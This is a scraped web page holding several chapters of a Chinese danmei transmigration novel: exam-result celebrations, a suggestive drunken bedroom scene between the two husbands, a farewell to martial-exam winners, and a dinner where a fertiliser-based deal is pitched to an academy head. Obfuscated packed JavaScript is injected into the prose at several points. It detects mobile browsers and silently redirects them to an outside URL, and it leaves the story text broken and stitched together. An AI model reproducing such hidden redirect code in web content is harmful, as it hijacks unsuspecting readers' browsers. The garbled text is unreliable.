骆耀庭招呼身边小厮去帮着孟公子看看，同时大方慷慨发出邀请，说悦来茶坊永远向这位茶魁敞开，欢迎他常去坐坐。 正说着，一队锣鼓手敲敲打打朝这边涌过来了，周围卷着一些自动围聚上来看热闹的人，更有人高声齐喊“榜首！榜首！榜首！” 一路浩浩荡荡，甚是惹眼，甚是招人。 喧天锣鼓声中，骆耀庭视线有意无意往孟知彰和庄聿白脸上扫，嘴角扬得更高了些。面上却一副难为情，笑容更加谦卑姿态，佯装责怪小厮：“这是搞什么，成何体统，赶紧让他们停下来。” 又向孟知彰和薛启原等人告罪，“都是下人们，非要热闹热闹，大张旗鼓搞出这些喧吵之声，真是有碍斯文，有辱观瞻，让大家见笑了。” 骆耀庭身边小厮眼尖，家中确实安排了锣鼓，但这掌槌之人却面生得很，竟一个不认识。他忙上前问那领队：“张三呢，大公子还在这，他倒好，把这锣鼓队交给你们就去躲清闲了？” 鼓乐之人根本不理这小厮：“什么张三李四？别挡道！我们这是给新晋榜首相公庆贺的。你又是何人？” “我就是新进榜首骆公子派来的……” “哐——”猛一声锣响，鼓乐之人打断这小厮的话，“新进榜首明明姓孟，哪来的骆公子！” 骆家小厮一听，魂险些吓掉一半。等他看到人群后面他要寻的张三，一脸生无可恋的苦相，正拎着铜锣，拼了命往这边挤过来时，那一大半的魂和脸面一起，结结实实摔在了地上。 “榜首孟公子就在前方！”有认出茶魁孟知彰，跑在前面给鼓乐队引路。 这日秋高气爽，阳光明媚，院试在榜之人各个喜气洋洋。但在第二名骆耀庭的记忆中，这却是风雨如晦的一天，后来每次想起这日情形，总觉得大雨倾盆，自己浑身湿透站在那高处，凉风袭袭，苦雨凄凄。 他已记不清众人在自己面前纷纷恭贺孟知彰喜登榜首之时，自己是如何稳住情绪，随众人一通道贺的。印象中，小厮扶着他亲自去那榜前看了，榜首确实赫然写着“孟知彰”三个大字。 “孟、知、彰……”骆耀庭的眼睛眯了眯，一只手死死攥紧。若只是茶魁也就罢了，茶道小技尚不足挂齿。可他竟敢来抢走属于骆家的榜首之位。 骆耀庭忽然想到什么，猛然看向小厮：“家中得到的消息是不是也……” 知情小厮忙往家赶着传消息，但还是为时已晚。骆耀庭到家时，一里远的鞭炮已经响完，经过满地红色爆竹纸碎和空气中弥散的青烟，让人有种恍然隔世的抽离感。 骆家正门前挤满了来沾喜气、领果子的人。“榜首相公！”“榜首相公！”的声浪，将骆耀庭归家的路完全淹没。 而这条走了二十年的归家之路，骆耀庭进门时竟绊住门槛，众目睽睽下摔了一跤。 贡院门前，庄聿白得知孟知彰得了榜首第一名，高兴得忘记这是古代，坐卧皆需有礼。他上前就是一个大大拥抱，整个人紧紧挂在孟知彰身上。 “孟兄，你真是太厉害了！” 庄聿白垫起脚尖，高高扬起的下巴方能勉强够着那滚烫的颈窝。或许是错觉，庄聿白觉得对方浑身一硬，旋即横阔坚实的胸膛稍稍俯下些，一只宽大温暖的手稳稳托住自己后腰，让自己挂得没那么辛苦。 ……嗯？好烫，好结实，好安稳。 我们是好兄弟，当众庆祝一下，没关系的。庄聿白抱得更紧一些：“孟兄，又是茶魁，又是榜首的，今天我们需要好好庆祝一下！” “好。”腰上的大手明显用了力气，“听你的。” 庄聿白从孟知彰身上下来时，薛氏兄弟已经告辞走了。走之前一边咳嗽一边强调，夫夫二人离开府城前一定留半日与他薛家兄弟，有要事相商。 而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15102312|157868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无路可走的牛大有，则一会儿看天，一会儿看地，一双眼睛始终不知该往哪放。后来马匹打了个响鼻，牛大有如获救星，一步跨进车厢去整理今日众人塞来的彩头。 “你想如何庆祝？”孟知彰仍然半俯着身子，方便庄聿白随时挂到他脖子上。 庄聿白还在那诧异为何众人一下子散了，想到庆祝的事情，又来了兴致：“我们选一家酒楼食肆，好好吃一顿吧。孟兄有什么想吃的……” 不等孟知彰答话，一只大黑狗窜了出来。 应龙！ 庄聿白蹲下将应龙揽在怀中，摸摸它的头，又给他顺了顺尾巴上的毛。起身站在孟知彰身边朝应龙来的方向看去，云无择与长庚正映着夕照策马而来。 短短两三日不见，云无择眉宇间除了愈加意气风发的英气之外，似乎还多了一些勇毅与坚韧。 武举府城站的最后一场比试已经结束，云无择师徒知道今日文举放榜，料定家中无人，索性直接纵马来贡院门前与他们汇合。 “长庚师父，云兄，一起可还顺利？”庄聿白随孟知彰向前迎了几步。 “一切皆安。”云无择见到众人，眸子也亮起来，“一路听闻街巷都在议论，说知彰兄将‘茶魁’与‘榜首’双双收入囊中，当真可喜可贺。” “武举何时放榜？”孟知彰帮云无择停了马缰。 “原说今日文榜之后放武榜。后皂吏来说明日一早贡院门前张榜。” 孟知彰点点头，他明白看似只隔短短一夜，但这一夜将藏着多少权利斡旋与人际纠葛，又有多少人将难以成眠。 天色渐晚，一行人决定将庆祝之事推到武榜之后，回程路上，从城中食肆果铺中买了些现成的菜肴、果品等物。 中间柳叔来送信，明日南先生设小宴一桌，让他带庄聿白一同前往，还交代山长也会在。孟知彰点头应着。 柳叔转身看向云无择：“云公子之身手，以及武举场上之事，南先生皆有所耳闻，他让老朽转告公子，今夜只管安心高枕。” 云无择与孟知彰快速对视一眼，自然明白其中所指。 众人送走柳叔，简单将买回食物处理分食后，便各自安歇了。但主房内那一盏灯火却迟迟未灭。 庄聿白留了一包桃花酥当夜宵，又从众人送的贺礼中翻出一小坛青梅酒，打算偷偷尝一尝。当然最让他兴奋的还是今日缘来茶坊周掌柜帮忙收集的一大摞名帖，这可都是潜在的茶炭大客户。他一张一张翻着，通过名帖的材质推断着大家的财气、实力、以及可能的合作规模。 孟知彰洗漱过后带着一身水汽回来时，庄聿白早开了梅酒自斟自酌起来，且此时小半坛已经下肚。 “孟兄，快来呀，这酒好喝……”庄聿白半趴在桌上，眼神迷离，努力朝孟知彰举着满满一盏酒，不知是累了还是醉了，手指轻轻打着颤儿，酒水溅洒出来几滴，正顺着手指往下落。 孟知彰上前，缓缓蹲在庄聿白身边，单膝点地，与那双似醉似醒的视线齐平。而后接过酒盏，一口满饮。细细品着庄聿白微醺的眼神，细细回味着方才盏口那抹余温。 “天色已晚，该安歇了。” 柔和的灯光打在庄聿白脸庞上，朦胧又可爱。眼尾那颗泪痣，在绯红脸颊映衬下，也越发楚楚动人。 73. 醉撩 庄聿白向来不贪杯。 也可以说现代社会的他，对酒的兴趣并不大。 这梅酒他原本只是想尝尝，然后等孟知彰回来同喝，一起举杯，就当为今日的两个“第一”先庆祝一下。 或许这青梅酒本身好喝，或许今天太过高兴，谁知等孟知彰的空档，庄聿白竟一杯接一杯自斟自饮起来。 他将从唇边撤下的酒盏直接递给孟知彰，见对方一口将那盏梅酒饮尽，伸手便要去满上：“怎么样……好喝的吧？再来一杯……” 手软，坛晃，酒颤。 孟知彰一只手稳稳托住半空中那只不稳的酒坛，和握住酒坛的手指。手指细长，微凉。手指的主人更是无力地将人往外推 “……不用你帮，我可以。” 酒坛倒像百斤重，摇摇晃晃，庄聿白吃力又倔强地抓着往杯盏中倒。一盏酒，递到孟知彰面前时，只剩浅浅一个酒底。 庄聿白不知道洒在外面的那大半杯，全部倒在此时正屈膝点地的那条腿上，洇湿薄薄一层麻葛布，顺着绷紧的肌肉线条，一路缱绻向下。 凉酒淌过温热的肌肤，一寸又一寸，孟知彰全身神经也跟着一点点揪紧。 不过此刻他顾不上身下，强行将那摇摇欲坠的酒坛取下，放在庄聿白够不到的地方，又扶住对方肩膀让庄聿白稍稍坐正一些。 此时的庄聿白靠着孟知彰有力的臂膀，像一颗绵软完熟的果子，从里而外散发着馥郁的果香和酒香。微醺醉意下眼尾泪痣似乎更红了。 令人无奈的是，有些人诱人而不自知，偏偏又在那暖暖的灯光下，庄聿白弯着眼睛冲孟知彰盈盈笑着，不时慵懒地换个姿势，乜斜眼歪头打量对方。漆黑的眸子灯光下亮晶晶、扑闪闪。 一时像第一次见面的陌生人，眼睛闪出诧异，一时又像熟得不能再熟的枕边人，甚至上手来撩人家被水打湿贴在颈弯的头发。 因为要就寝，清洗过后的孟知彰并未穿外衫，轻薄中衣被其下的肌肉撑得紧实有型，刚才抬头扶正庄聿白的动作没有管理好，竟将胸前衣襟扯散一些。 灯光轻晃，火苗舔舐进衣襟，胸前那一抹健康的麦色，若隐若现。 “我不管，给我摸摸！”庄聿白东倒西歪被圈在孟知彰臂膀内，一双手却不见老实。 “……什么？” 孟知彰紧紧盯着庄聿白的眼睛，他自然知道庄聿白视线停留在何处。 倒不是他觉得眼前人会对自己造成什么实质性伤害，只是如此直白的要求，还是在光下，让他一时难以适应。 孟知彰不觉腰腹一紧，点地的膝盖，挪了半分。 “别动！”庄聿白伸出一根手指威胁对方，顺势将另一只手顺着地方胸前衣襟的缝隙，大大方方滑了进去，“孟兄，大家都是兄弟……你躲什么呀！” 胸膛滚烫、坚实，肌肉紧绷，几乎完美的线条下裹着薄薄水汽……手指拂过，带出轻微的滞涩感。 “……唔！” 铜墙铁壁般的存在，也有他致命的弱点。此时，孟知彰那致命弱点，正被庄聿白虚拢在手心。 这一点，庄聿白也发现了。上次夜半“安慰”时他便发现了，只是当时尚不是很确定。 好玩。 刚只轻轻撩拨一下，对方就弓了腰身。若是轻拢慢捻抹复挑……一套动作下来，不知对方又作何反应。 半醉半醒间，庄聿白的小心思却没闲着。他素来好奇心颇重，求知欲颇胜，不屈不挠的求是钻研精神，亦然。 隔着薄薄一层衣衫，孟知彰从外控住那只不住动的手：“……别闹。” 声音低沉又克制，不像警告，倒像是求饶。 “我没闹……如果不想让我动这里，”庄聿白声音带着醉意。近来他也算在生意上熏陶浸染过一番，自认讨价还价的战术勉强学得七八分，“要不……给我摸摸腹肌？不然我就喊出去，说你非礼……” 喊出去？非礼？ 二人是夫夫，弄出再大动静旁人也不会多言什么。 孟知彰看对方着实有些醉态。夜色凉下来，他又喝了冷酒，若一味在这里厮闹下去，热身子扑了冷风，得了风寒，就不好了。 庄聿白还在那无力又坚决地威胁着对方：“给不给摸？” 孟知彰心中叹口气，眉心微动，极力忍耐着气息：“好……去床上。” 庄聿白夸张地点点头，算是答应了，又担心他反悔，“人质”仍然扣在手上。他猛地在孟知彰怀中站起身。醉了，对肢体控制能力就差了。行动间，难免扯着碰着。说句公道话，这倒不是庄聿白存心的。 孟知彰眉心更紧，气息也越发不稳，他绷紧下颌，起身扶住摇摇欲坠的庄聿白，只祈求对方能慈悲为怀。 庄聿白脚下打晃，根本站不正，也走不直。正当他胡乱往床边走去时，脚下一空，猛然的失重感和酒醉的眩晕感，让他一时竟瘫软在对方怀里，卸下了最后一丝防备和力气，任由对方处置。 孟知彰半跪在床上，将人仔细平放在里面的枕头，正要伸手去拿被子，身下一双手伸过来，直接剥开衣襟探摸自己胸腹上。 “庄聿白。”孟知彰半跪着，悬空定在那里。 “嗯？”声音绵软，像半杯酸酸甜甜的梅酒。 “你可知自己在做什么？你不怕我……不怕我……” “怕你什么？”庄聿白圆圆的眼睛睁大，无辜地看着孟知彰，在枕上微微歪头，“怎么了。咱们是好兄弟，而且这么熟了，开个玩笑么……” 庄聿白嘴角咧得更开，两颗晶莹虎牙缀在唇边，很是可爱：“你肌肉练这么好，没人欣赏，没人赞美，岂不是暴殄天物？咱们是好兄弟，这些都是好兄弟可以做的事情，比如上次我替你安慰它们。” 庄聿白手里忙着，顶顶下巴， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15109445|157868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 往孟知彰胸前指了指。 这一指不打紧，孟知彰以为对方要动口，眸底大乱，竟难得在人前显出些慌张情绪来。 孟知彰强行掩住衣襟，向后退了半尺，顺便用被子盖住身下人。 庄聿白是个体贴细心的，担心对方穿的少，收紧腰腹贴身跟上来，一床被子用力往对方肩上盖：“生气啦？好了好了啦，干嘛那么小气，大家都是男人，你有的我都有，别生气啦，给你摸我的，我让你摸回来……来呀！” 一床被子胡乱盖住两个人，庄聿白从被窝中寻到一只大手，不管三七二十一，慷慨大方地就往自己腹部拽去。 大手覆下，皮肤触碰的一瞬，两人同时皆是猛烈一颤。庄聿白非常确定自己听到了床板“吱嘎”一声。 这一声“吱嘎”像打开了庄聿白身上不得了的机关。他瞬间浑身绷直僵硬，周身神经更像被腹部那只滚烫的大手整个揪起，大手只需轻轻一动，他便能万劫不复。 庄聿白背后发凉，发紧。呼吸乱了，心跳也不知从什么时候开始砰砰砰越跳越快。 宽阔温热的胸膛就悬在自己鼻间上方五厘米处，清新又熟悉的皂角味从中隐隐散出，这种被完全压制的体位，这种奇怪的感觉…… 庄聿白似乎是怕了。他不知为何会有这种情绪。 同样克制隐忍的还有上方的孟知彰，他似乎也没好到哪里去。 ……这腰身，好细，好软，好糯。似乎稍不注意就能弄断。 孟知彰胸前起伏，喉结滚了又滚，耳朵中脉搏声更是一阵阵冲上来，在他脑海喧嚣。 不知过了多长时间，或许很久，或许只是一刹，回过神来的孟知彰，眸子越来越沉，比这齐物山的夜色更幽深，更莫测。 盈盈一握的腰身就在手中。主动送上来的。孟知彰这次不打算轻易放过。 一只手顺着起伏，缓缓下移…… 身下的猎物怔了怔，良久方意识到当下的危险气息。 孟知彰得到了自己想要的答案。此前他曾想了很久，到底是哪里出了问题，甚至一度怀疑过庄聿白眼尾那颗泪痣不是哥儿的标志。看来是他想多了。 果子型号是对的，只是果核还差些火候。 庄聿白就躺在自己身侧，准确说，是身下。轻轻发着抖。有些东西，对孟知彰而言唾手可得，他不费吹灰之力就能将这枚果子从里而外吸食殆尽。 但一时之欢，是他孟知彰最不想要的。 他要静心守着果子完全成熟，心甘情愿与他同享这份毁天灭地的美妙。 孟知彰不急，他可以等。他有的是时间和耐心。 孟知彰拉过被子，将身下人严实盖住，掖掖被角，柔声问：“好兄弟，可以抱着睡么？” 一双小鹿眼咕噜噜转来转去，茫然地点点头，忽又摇摇头。 不过很显然，主动权这次已经不在他那里了。 74. 涮锅 醉意阑珊的庄聿白被孟知彰箍在怀里，浑浑噩噩一晚。 他不记得后来是怎么睡着的，只依稀记得，睡前自己坐在那灯下喝酒，梦中非吵着闹着要去摸人家胸肌。 酒，是好酒，味道也好，只是误了正事。他本打算私下与孟知彰庆祝，今日去南先生家赴宴之事也想同他商议一番，谁知竟醉了过去。 嗐！喝酒误事，下次有要紧事时还是少喝的好。 院外一阵急促马蹄响，接着几声嘶鸣。 庄聿白穿衣迎出去时，孟知彰与云无择、长庚师父将马拴在院外，正跨过院门进来。 柴门之外，山高水远，碧空万里。柴门之内，炊烟缭绕，饭香阵阵。 长庚师父，一袭棕色僧衣，身姿提拔，如一尊菩萨，威仪清冷凛凛不可犯。身后跟着他的两名弟子，一文一武诶，矜贵自持，神采华然。 恍惚间，庄聿白似乎看见儿时的孟知彰。那时的他，是不是也如当下这般，清早修完早课跟随长庚师父从山中踏露归来？ 当时的孟知彰父母尚在，归来后，一脸稚气的他兴冲冲跨进家门。先在厨房寻得母亲，雀跃地问今日有什么好吃的。母亲温柔地笑着，从锅中夹出一块金黄色的炒蛋，稍稍吹凉一些喂给他，叮嘱他慢些吃，又伸手帮他擦擦额头上的汗珠，让他去洗手准备吃饭。小孟知彰笑着转身去了父亲身边，一刻不停地说着今日长庚师父又教了什么招式，边说还要边比划给父亲看。 不过这些场景，庄聿白此生都无缘看到。 庄聿白同长庚师父行礼问了好，又同云无择打了招呼，脚下不觉往孟知彰身边凑过去。 他知道三人清早去看榜了，只是三人这般神情，让他的一颗心沉了沉。难道云无择榜上名次不好，或者……名落孙山？ 孟知彰看出庄聿白神情中的不安，向他身边迈了半步：“放心，无事的。” 看来是比名落孙山还差的结果了。庄聿白搜肠刮肚，一时想寻些宽慰人的话，可肚中存货翻了个底朝上也没找出合适的言辞。 庄聿白再次张口之前，孟知彰轻轻拍了下他的肩，言语宽慰：“是榜首。不过此刻师父和云兄要先赶回去。” 武举榜首！原本值得庆贺之事，可当时当下弥散的气氛又显得那个格格不入，庄聿白一下紧张起来：“是不是骆耀祖那边来闹事……” 那骆耀祖又蠢又笨还不长脑子，是个破坏力极大的“巨婴”。他哥哥骆耀庭好歹是个读书人，圣人教诲还是会听的，读书人的脸面也是会要的，所以即便错失榜首，闹了那么大的乌龙，明面上还能维持住基本的体面。 但骆耀祖就不一样了。据说上次为报被狗当街扯掉裤子之仇，竟然让手下人看见黑狗就抓来抽鞭子，吓得城中养犬之人皆将黑犬送去城外避难。眼下又痛失榜首之位，想来又有一场乱子好闹了。 不对！蠢人，即便做坏事，杀伤力也有限。骆耀祖是个蠢笨无脑的，正因如此，即便他再闹，也不至于让长庚师父和云无择这般忧虑，甚至一向处事不惊的孟知彰也露出些难色。 “难道是……骆家？”骆家在府城权势滔天，若是真想动什么念头，恐怕暂时还没人拦得住他们。 孟知彰薄唇一抿：“云兄，姓云，也姓骆。” 一句话拧出百般情绪，云无择递了个凝重而复杂的眼神过来，但没说什么，冲孟知彰二人点头示意后，随长庚去了东厢。 师徒二人收拾东西，准备即刻返程归家。 今日和武榜一起张出来的，还有一道圣旨。此次武举原是因为西境之事而重启，用以征集将帅之才。而且在府城比试之后，按流程还会有一场京中对决。优异之人甚至能进入最后面圣环节，由皇帝钦点武状元。 可事出有变，根据旨意，京中对决推后，何时进行不得而之。但今年各地府城武举榜上前三名，皆需在十二日内由府城出发，统一前往西境。 据传闻，这次出京镇守西境的除了长公主殿下，还有那位先皇去世时仍在襁褓之中的小儿子，由当今圣上亲自抚养长大的最小的弟弟，盛宠优渥的小亲王殿下。 至于这位长公主，众所周知皇帝最疼爱这位妹妹，儿时先皇宠大，后面又有这位皇帝兄长爱护，凡事都由着她的性子。所以这位公主从小便飞扬跋扈，性子刚烈要强，好着戎装，以男子将养，身边侍女等也皆能舞枪弄棒，排兵布阵。据传，整个公主府上下俨然一个沙场军营。 边境凄苦，皇帝原不舍得这二人前往，且边境也不是无人驻守，一时半刻不至于让戎狄破境直入。长公主早年也去过西境驻地，这才回京没几年又闹着离京。 或许今年境况不同，或许皇帝拗不过长公主的性子，这次皇帝同意是同意了，只是全国操办武举，希望寻些真正的将才，一则护长公主和小亲王周全，二则外敌入侵、兵戎相见时也能真正出得上力。 小亲王和长公主已经在着手准备离京事宜，趁着天气晴暖，最迟八月底也将启程西行。 提及这位长公主，长庚明里暗里留意过不少。知道她三十几岁至今未嫁；知道她和皇帝关系向来和睦，除了皇帝提及给她招婿相亲之时。长庚之所以时不时探听一些长公主的消息，因为她就是当年榜下捉婿捉到骆瞻的那位。而且此事过后不久，骆瞻就撒手人寰。 关于与长公主相关的过往，长庚并未和云无择提及。有些事，迟一些知道，或者根本不知道，或许更好一些。 君命难违，云无择明白既然已经接受了武举的整场流程设定，所有后续安排自然也将听令行事。师徒二人将行礼快速整理一番，出来与几人告别。 “不吃过饭再上路么？”庄聿白话随时问云无择，但视线看向孟知彰，希望他能帮着劝一下。 “趁着天色早，此刻离开今日还能多赶几十里路。时间紧迫，快些赶回去也能多陪陪阿爹。”云无择随长庚出了门。 庄聿白和牛大有将现做的一些饼子，和昨日采买的果子等装了两大盒递给云无择，路上吃着方便。 朝晖温煦，山高水长。师徒二人翻身上马，与夫夫二人和牛大有拜别后，扬鞭而去。 若庄聿白知道，下次几人再一次围坐笑谈、闲话同饮，需要隔着那么多年，需要跨过那么远的路，那此时此刻的他，一定会选择再坚持挽留一下。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15115609|157868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > * 云无择和长庚师父先行回去，是看榜回来路上与孟知彰商议之后决定的。 与马车同行，至少三日到家，若两人骑马先行，估计后日便能见到云先生。而且孟知彰与庄聿白还有些事情要处理，需在府城再留个一两日。 “抱歉，昨晚好像喝多了一丢丢……晚上睡觉没有打扰到你吧？” 庄聿白拄着根竹杖，沿着石板路努力拾阶而上。走两步，停一停，或者歇脚看天，或者从孟知彰背着的招文袋中翻找水囊和零食。 两块梅花酥，庄聿白咬了一口，另一块递给孟知彰，扬下眉：“以及我的酒品，是不是还不错？” 南先生住处不算远，翻过半座山就到了。与云无择师徒分别后，牛大有赶着马车去清会现场给周掌柜帮忙，茶魁出自他们缘来茶坊，今日摊位上的客人及潜在客商只会更多。孟知彰和庄聿白则步行去赴南先生的约，并收拾了一些贺礼，借花献佛送与南先生。 幸好提前一些时间出门，不然以庄聿白这个步行速度，约好的午餐估计到的时候就只能当下午茶了。 酒品？孟知彰接过梅花酥，用一种古怪的眼神看了下庄聿白，对酒品之事并未表态，只提醒他，在家中饮酒无妨，若是在外面，除非他在身边，否则最好不要饮酒。 庄聿白心中翻个白眼。切，瞧不起谁呢？我庄聿白酒量好得很！竟然还想给我立规矩，我看别叫你孟知彰，直接叫孟大爹好了。 二人到得南先生住处时，柳叔已迎在门外，笑着将孟知彰带来的东西接过去，说山长已经到了，正和南先生说话呢。只等二人来了开饭。 南先生与三省书院山长祝槐新正在中堂品茶，见二人进来，忙笑着招呼：“今日得了野兔两只，柳叔已经处理腌制好了，我们来试试这道‘拨霞供’。” 斗茶清会上，庄聿白已经见过南先生和祝山长，只是当时人多并未正式拜见，这次便随孟知彰一起，以夫夫名义，恭恭敬敬行了礼。 一时宾主落座，碗筷具齐。 庄聿白往桌上看去，桌案中间摆着一只胖墩墩的铸铁风炉，炉腹内炭火正明，其上蹲坐宽口高沿火锅，清汤甚鲜，此时已咕嘟咕嘟冒起水泡。桌边一圈摆了三五盘腌制好的兔肉切片，肉嫩汁浓，一看便知鲜美无比。 原来这南先生说的“拨霞供”，中译中一下，就是古代版的兔肉涮锅。 兔肉薄薄片好，以韭菜花酱、荠菜花酱、豆豉、花椒胡椒、芝麻油等调料腌制半个时辰，长筷挑入锅中沸汤，轻摆涮熟，蘸料食用。因肉片在热汤中反复拨动，上下浮游，色泽宛如云霞，也便有了这个诗意的名字“拨霞供”。 祝山长一边介绍一边示范，庄聿白乖巧知礼地跟着有样学样，有一说一，这味道绝了。兔肉腌制得恰如其分，汁浓味足，又保留了兔肉本身的紧致与鲜甜。涮熟后裹上蘸料，一口下去，哇哦，感觉整个初秋都含进嘴里，野味十足，生趣盎然。 席间，南先生问及二人接下来有何打算时，庄聿白与孟知彰交换了下眼神，而后起身朝祝槐新施了一礼。 “晚辈有一桩生意，想与山长谈。” 75. 生意 孟知彰院试位居榜首，是正经秀才相公，跨入“士”阶层。 每月不仅可以领取一两半银子和一石米的“工资”，家中还可免粮税，无需服徭役。庄聿白金玉满堂和茶炭生意盘子，现在每月也能有个大几两银子的收入，若订单较多，甚是每月入账十两银子的情况也是有的。 即便如此，二人若以现在的经济状况想在府城立足，是根本不可能的。 但院试榜首在这次斗茶清会上一举摘得“茶魁”，庄聿白茶炭的名声也稳稳打了出去，这都属于隐形“品牌资产”。手攥这几个筹码，庄聿白对接下来要走的路，胜券在握。 南先生问及二人接下来的计划，庄聿白冲三省书院山长祝槐新恭敬施了一礼，说要与山长谈一桩生意。 南时和祝槐新一听，不觉面露微笑，他们没料到天下竟真的有人，会想将生意谈到东盛府数一数二的学院头上。 倒不是二人觉得这个后生口气大，而是三省书院名气在那摆着，除了官府拨款，自然也有社会各界物资钱粮等资助，从来没人敢将“谈生意”一词往书院山长面前递，这不是以商贾铜臭气，玷污圣贤书墨香么？ 眼前这个斯文后生，不仅坦坦荡荡提出来，看架势还是要平等对谈。 “是何生意？”祝槐新对庄聿白这不服输的劲头，似乎很感兴趣。 生意场，说白了就是利益权衡。谈生意，无外乎彼此出牌，双方互相争夺与让渡利益的过程。一般为实现自己利益最大化，大都是根据局上已有牌面，慢慢斟酌如何出牌。 庄聿白不按常理来，直接明牌放在桌上：“第一，我家……我家夫君在贵院就读。” 南时与祝槐新相视一笑，这一点其实无需庄聿白开口，此二人早有此意愿。不过庄聿白既然明着提出来，二人倒想知道他出什么来交换。 “不过我们家贫，贵院束脩此刻恐交不齐。所以我们希望三省书院给我夫君的束脩蠲免。”庄聿白见二人并没打算自己，继续道，“因为我要随夫同来，所以不便住在学院中。我们希望就读期间，仍然可以使用现在入住的竹舍，免费。” 一旁的柳叔越听越不对劲，头上都冒了汗。这可是三省书院的山长，山长虽为南先生的学生，南先生平时也从未这般直白地跟对方提过这类，这类直白到有些失礼，甚至冒犯的要求。 柳叔咳嗽两声，忙递了盏茶给庄聿白，想提醒他适可而止。 很多事情私下跟南先生讲也是一样的，南先生自会想办法安置。但他在山长那个位置上坐着，许多事也身不由己。你把这些事如此摆到明面上，万一别人也来效仿，这不是让山长为难么。 三省书院的入院要求，虽只看学子的学识和人品，但这每年束脩却是从未有人敢提出蠲免的，此其一。学院学子要么府城有住处，要么入住学院统一寝舍，从未有人敢打这座竹舍的主意，此其二。单凭地理位置每年百两租金都会有人争抢着要来住，他竟然底气十足地要求免费。 原本睁一只眼闭一只眼就可以办成的事，真上了秤，就没那么简单了。 庄聿白笑着接过茶，道了谢，悄悄冲柳叔挤下眼，转过头时又换回一本正经的恭顺模样。 祝槐新笑着点点头：“庄公子既然提出了诉求，想来早已有所准备，祝某愿闻其详。” 庄聿白看看孟知彰，得到肯定眼神后，对答：“晚辈听闻学院有学田百亩，用以资助清贫学子，以及宾兴诸礼等事宜。” “确有此事。”祝槐新不觉又多看了庄聿白两眼，心想这后生脑子灵活，来府城没几日竟连学院的田产都弄了个一清二楚，还知道学田费用可资助院中学子，不错，不错，“你想让你家相公在学田挂名，用学田现有所产之资来抵束脩和竹舍租住费用？” 用学田所产助学，只需南先生写一封说明信，山长批示一下即可。这法子倒是可行，也堵了外人想钻空子的心思。 祝槐新看了眼自己老师，南先生自也觉得这个法子可行。他刚想当面同意此事，却见庄聿白摇摇头，说了句“非也。” 非也？！ 祝槐新一怔，他没想到竟有学子会当面拒绝他这位山长的提议。 庄聿白起身，恭敬说道：“不是用学田‘所产’之资来抵。而是用学田‘增产’之资来抵。” 增产？！ 祝槐新不觉也站起身，三省书院的这百亩学田，有官府拨给的，也有各界名流捐赠的，只为书院学子所用，所以大都为相对肥沃高产的上田。正常年景每季能产个200石粮食，若遇到大年，还能多打个二三十石粮食。一年400多石粮食，除了书院学子食用外，也能有个小三百两银子用以资助清贫学子的宾兴诸礼。 学田的亩产在当下社会已算上乘，眼前后生竟然说可以……增产？！祝槐新眼中闪现出一丝疑惑。 “确实是增产。”孟知彰起身上前，先恭敬朝祝槐新行了一礼，站在庄聿白身边让对方安心，“我家夫郎研制出一新型肥田之法，十八日便可制作出农田所用肥料。学生所在孟家村不少农田已用上此肥，依当前长势来看，较未用此肥之田的水稻，要茁壮不少。所以，若学田用此肥田之法，也定能增产。” 祝槐新开始慢慢踱起步子，施肥之田比单纯靠天吃饭自然是会增产。可十八日制作肥料……这确定不是儿戏？ 王者以民为天，而民以食为天。若非是恩师请来的客人，若非是孟知彰敬重有加的夫郎，换做旁人胆敢提出十八日可制作农肥的言辞，祝槐新当即就将人赶出去了。 但孟知彰的为人他是知道的，不是轻狂冒进之人。可……可即便神农氏在世，也不可能十八日制作出农肥……祝槐新转身看向恩师。 南时一下接一下捋着胡子，眉间同样锁着些疑虑，半日缓缓开口：“孟家村确实将十八日农肥施到田间，水稻长势甚佳？” 孟知彰郑重点头：“千真万确。” 祝槐新不知想到什么，忽然又稍稍释怀，将对话继续下去：“刚庄公子提到以‘增产’之资，来抵知彰的学中所用。那依庄公子之见，若用了这肥田的法子，可‘增产’多少？” 庄聿白倒也没客气，信誓旦旦说：“据后生推断，百亩学田一季收粮约200石，若是用了这新型肥田法子，可保证单季增产五成，也就是收粮300石。” “300石！”祝槐新声量都高上去了。 他马上意识到自己的失态，忙稳稳情绪，脚下还是情不自禁走到庄聿白跟前，张张口有千百句话要说，此时竟不知从何开口，最后什么也没说，背手走回恩师身旁，打算请南时裁决。 南时也不觉走过来，神情紧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 